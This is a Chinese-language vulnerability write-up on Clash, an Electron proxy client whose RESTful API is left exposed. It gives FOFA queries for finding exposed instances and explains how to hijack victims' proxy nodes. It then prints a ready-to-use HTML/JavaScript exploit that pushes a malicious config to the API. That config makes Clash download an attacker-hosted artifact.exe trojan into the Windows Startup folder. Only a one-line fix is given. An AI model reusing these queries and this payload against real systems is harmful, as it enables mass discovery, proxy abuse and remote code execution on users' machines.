漏洞描述
Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发,因此Electron拥有直接执行Node.js代码的能力,并且内置了Chromium内核,通过一个XSS漏洞就有可能导致远程代码执行的危害。
根据Clash官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash存在一套RESTful API可以用于控制自身,能获取Clash中的一些信息,同时也能控制Clash内部的配置。
在公网中,有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口,导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口,达到使用被害者设备代理翻墙的目的

同时,黑客也能利用以上拓补关系和较低版本Clash的历史漏洞(详见此issue:[Bug]: Remote Code Execution/远程代码执行 #3891),达到Getshell的目的
漏洞复现
在FOFA中使用下面语法对暴露的Clash API进行搜集
clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D
clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D
openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D

随机挑选,在Clash dashboard中导入拥有如下返回的IP地址和端口


即可看到该设备的节点信息

在设置中查看HTTP代理端口或混合代理端口信息

使用SwitchyOmega插件进行代理

即可访问Google

另外,如果想Getshell可以利用下面这段js代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Hack it!</title>
</head>
<body>
<div id="result"></div>
<script>
const data = {
payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n - name: 系统被入侵\n type: select\n use:\n - provider1\nproxy-providers:\n provider1:\n type: http\n url: 'http://192.168.2.5/artifact.exe'\n interval: 36000\n path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n healthcheck:\n enable: false\n interval: 600\n url: http://www.gstatic.com/generate_204"
};
fetch('http://{yourip}:{yourport}/configs', {
method: 'PUT',
headers: {
'Content-type': 'application/json; charset=utf-8',
//'Authorization': 'Bearer 123456' //clash鉴权头部
},
body: JSON.stringify(data),
})
.then(response => {
if (response.status === 204) {
result.innerText = '入侵成功!';
} else {
response.json()
.then(jsonData => {
result.innerText = '入侵失败!' + JSON.stringify(jsonData);
})
}
})
.catch(error => {
result.innerText = '执行失败!' + error.message;
});
</script>
</body>
</html>
这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup
开机自启目录,这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。
漏洞修复
开启随机密码进行鉴权和随机端口